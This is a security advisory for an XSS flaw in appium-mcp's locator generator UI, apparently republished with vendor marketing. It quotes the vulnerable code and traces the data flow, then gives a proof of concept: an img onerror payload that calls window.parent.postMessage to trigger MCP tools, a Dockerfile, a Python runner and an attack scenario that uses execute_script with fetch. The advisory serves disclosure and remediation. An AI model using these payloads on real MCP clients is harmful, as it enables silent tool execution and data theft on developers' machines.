Summary
appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)
Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)
appium-mcp's createLocatorGeneratorUI function interpolates attacker-controlled element attributes, text, content-desc, resource-id, and locator selector values, directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the generate_locators tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via window.parent.postMessage, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.
Details
The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.
Vulnerable sink, src/ui/mcp-ui-utils.ts:730–740:
${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''}
${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''}
${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''}
<code class="selector">${selector}</code>
<button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button>
None of element.text, element.contentDesc, element.resourceId, selector, or strategy are HTML-escaped before insertion. The onclick attribute additionally embeds selector and strategy into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.
By contrast, createPageSourceInspectorUI at src/ui/mcp-ui-utils.ts:911–916 does apply escaping to the page source, confirming that the protection gap in createLocatorGeneratorUI is an oversight, not a design choice.
Complete data flow (source → sink):
src/tools/test-generation/locators.ts:57,getPageSource(driver)reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.src/tools/test-generation/locators.ts:72, the raw page source is passed togenerateAllElementLocators.src/locators/source-parsing.ts:108, XML attribute values undergo only newline replacement (attr.value.replace(/(\n)/gm, '\n')); HTML entities such as<are decoded into raw<characters by the XML parser with no re-encoding.src/locators/generate-all-locators.ts:73–75,element.attributes.text,['content-desc'], and['resource-id']are copied verbatim into the locator result object.src/tools/test-generation/locators.ts:90, the locator objects are passed tocreateLocatorGeneratorUI.src/ui/mcp-ui-utils.ts:730–740, values are interpolated directly into the HTML response (sink).
The window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*') mechanism used throughout src/ui/mcp-ui-utils.ts:645–695 means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally.
Remediation requires an HTML-escaping helper (replacing &, <, >, ", ') applied to all element properties in the HTML context, and JSON.stringify for values embedded inside JavaScript string literals in onclick handlers.
PoC
Prerequisites:
appium-mcpv1.85.8 or v1.85.9 installed from npm- Node.js 20+ with the package built (
npm install && npm run build) - An MCP client that renders HTML resources returned by
generate_locators(e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host)
Static confirmation (no Appium session required):
node --input-type=module <<'EOF'
import { generateAllElementLocators } from './dist/locators/generate-all-locators.js';
import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js';
const xml = `<hierarchy>
<node class="android.widget.TextView"
clickable="true"
enabled="true"
displayed="true"
text="<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')">"
content-desc="<b>xss-in-contentDesc</b>"
resource-id="com.attacker.app/<u>xss-resource-id</u>"/>
</hierarchy>`;
const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true });
const html = createLocatorGeneratorUI(locators);
console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror='));
console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>'));
console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>'));
EOF
Expected output:
UNESCAPED <img src=x onerror= present: true
UNESCAPED <b> in contentDesc present: true
UNESCAPED <u> in resourceId present: true
Dynamic confirmation (Docker, network-isolated):
# Build context is the parent directory (contains repo/ and vuln-001/)
docker build -t appium-mcp-vuln-001 \
-f vuln-001/Dockerfile \
reports/npmAI_303_appium__appium-mcp
docker run --rm --network none appium-mcp-vuln-001
The container output confirms:
HTML has unescaped <img src=x onerror= : true
Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p>
│ [PASS] XSS CONFIRMED │
│ createLocatorGeneratorUI inserted the raw <img> XSS tag │
│ execute the onerror handler, enabling arbitrary MCP tool │
End-to-end exploitation against a real MCP client:
- Attacker publishes or sideloads an Android/iOS app whose UI element
text,content-desc, orresource-idattributes contain an XSS payload (e.g.,<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">). - Victim developer connects their Appium MCP server to the attacker's app and calls the
generate_locatorsMCP tool. - The MCP client renders the returned HTML resource in a WebView / iframe.
- The injected
onerrorhandler fires and posts a craftedtoolmessage to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g.,appium_screenshot,execute_script,get_page_source) without user confirmation.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI
#
# Build context: reports/npmAI_303_appium__appium-mcp/
# (parent directory containing both repo/ and vuln-001/)
#
# Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile .
# Run: docker run --rm --network none appium-mcp-vuln-001
FROM node:20
WORKDIR /app
# Copy the vulnerable appium-mcp source tree
COPY repo/ ./
# Install all dependencies.
# --ignore-scripts skips postinstall hooks (native node-gyp builds) that
# are irrelevant for the TypeScript compilation we need.
# --no-audit / --no-fund suppress network noise.
RUN npm install --ignore-scripts --no-audit --no-fund 2>&1
# Compile TypeScript -> JavaScript (dist/)
RUN npm run build
# Copy the PoC exploit script into the built app directory
COPY vuln-001/exploit.mjs ./exploit.mjs
# Default: run the XSS exploit proof-of-concept
ENTRYPOINT ["node", "exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI
This script:
1. Builds a Docker image containing the vulnerable appium-mcp source.
2. Runs exploit.mjs inside the container with --network none (no outbound traffic).
3. Parses the output to confirm the XSS payload survived unescaped into the HTML.
4. Writes phase2_result.json with PASS/FAIL verdict and evidence.
Safety constraints:
- Uses local Docker only (no external services).
- Network is disabled in the container (--network none).
- No live Appium session, no real device, no real credentials.
- The repo source is not modified; the vulnerability is in the original code.
"""
import json
import os
import subprocess
import sys
# ── Paths ─────────────────────────────────────────────────────────────────────
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json")
IMAGE_NAME = "appium-mcp-vuln-001"
BUILD_CMD = (
f"docker build -t {IMAGE_NAME} "
f"-f vuln-001/Dockerfile "
f"{CONTEXT_DIR}"
)
RUN_CMD = f"docker run --rm --network none {IMAGE_NAME}"
POC_CMD = f"python3 {os.path.basename(__file__)}"
def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]:
"""Run a subprocess and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
def build_image() -> tuple[bool, str]:
"""Build the Docker image. Returns (success, error_message)."""
print("[*] Building Docker image (this may take several minutes for npm install)...")
print(f" {BUILD_CMD}\n")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR],
timeout=600,
)
if rc != 0:
tail = (stdout + stderr)[-3000:]
print(f"[!] Build FAILED (exit {rc}):\n{tail}")
return False, tail
print("[*] Build succeeded.")
return True, ""
def run_exploit() -> tuple[int, str, str]:
"""Run the exploit container. Returns (returncode, stdout, stderr)."""
print(f"\n[*] Running exploit container...")
print(f" {RUN_CMD}\n")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--network", "none", IMAGE_NAME],
timeout=120,
)
print("--- container stdout ---")
print(stdout)
if stderr.strip():
print("--- container stderr ---")
print(stderr)
return rc, stdout, stderr
def extract_evidence(stdout: str) -> str:
"""Pull the most relevant lines from exploit output."""
evidence_lines = []
for line in stdout.splitlines():
upper = line.upper()
if any(kw in upper for kw in [
"PASS", "FAIL", "CONFIRMED", "EVIDENCE",
"UNESCAPED", "IMG SRC", "ONERROR",
"TEXT PARAGRAPH", "CONTENTDESC", "RESOURCEID",
"XSS",
]):
evidence_lines.append(line)
return "\n".join(evidence_lines) if evidence_lines else stdout[:2000]
def write_result(payload: dict) -> None:
with open(RESULT_PATH, "w", encoding="utf-8") as fh:
json.dump(payload, fh, indent=2, ensure_ascii=False)
print(f"\n[*] Result written to: {RESULT_PATH}")
def main() -> None:
# ── Build ──────────────────────────────────────────────────────────────────
build_ok, build_err = build_image()
if not build_ok:
write_result({
"passed": False,
"verdict": "FAIL",
"reason": (
"Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. "
"오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": f"Build error (last 2000 chars):\n{build_err[-2000:]}",
"artifacts": ["Dockerfile", "poc.py"],
})
sys.exit(1)
# ── Run ────────────────────────────────────────────────────────────────────
exit_code, stdout, stderr = run_exploit()
# ── Verdict ────────────────────────────────────────────────────────────────
xss_confirmed = (exit_code == 0) and ("XSS CONFIRMED" in stdout)
evidence = extract_evidence(stdout)
if xss_confirmed:
write_result({
"passed": True,
"verdict": "PASS",
"reason": (
"컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. "
"generateAllElementLocators()가 XML 속성의 <img> 엔티티를 "
"원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, "
"createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. "
"MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 "
"window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음."
),
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
})
print("[PASS] XSS exploit confirmed.")
sys.exit(0)
else:
reason_detail = (
f"컨테이너 종료 코드: {exit_code}. "
"'XSS CONFIRMED' 문자열이 출력에 없음. "
"exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요."
)
write_result({
"passed": False,
"verdict": "FAIL",
"reason": reason_detail,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": POC_CMD,
"evidence": (stdout + "\n" + stderr)[:3000],
"artifacts": ["Dockerfile", "poc.py"],
})
print(f"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).")
sys.exit(1)
if __name__ == "__main__":
main()
Impact
This is a Cross-Site Scripting (XSS) vulnerability. Any developer using appium-mcp with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application.
Impact scenarios:
- Arbitrary MCP tool invocation: Injected JavaScript calls
window.parent.postMessagewith any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device). - Credential and data exfiltration: Via
execute_scriptor screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source. - Lateral movement / persistence: If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine.
- Supply-chain / CI abuse: Automated test pipelines that call
generate_locatorsagainst third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required.
The attack requires no authentication (PR:N), the tool is enabled by default (default-on: Y), and the scope is changed (S:C) because JavaScript executes in the MCP host frame rather than the sandboxed resource.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
GHSA-X975-RGX4-5FH4 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.85.10); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-X975-RGX4-5FH4? GHSA-X975-RGX4-5FH4 is a high-severity cross-site scripting (XSS) vulnerability in appium-mcp (npm), affecting versions <= 1.85.9. It is fixed in 1.85.10. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is GHSA-X975-RGX4-5FH4? GHSA-X975-RGX4-5FH4 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of appium-mcp are affected by GHSA-X975-RGX4-5FH4? appium-mcp (npm) versions <= 1.85.9 is affected.
- Is there a fix for GHSA-X975-RGX4-5FH4? Yes. GHSA-X975-RGX4-5FH4 is fixed in 1.85.10. Upgrade to this version or later.
- Is GHSA-X975-RGX4-5FH4 exploitable, and should I be worried? Whether GHSA-X975-RGX4-5FH4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-X975-RGX4-5FH4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-X975-RGX4-5FH4? Upgrade
appium-mcpto 1.85.10 or later.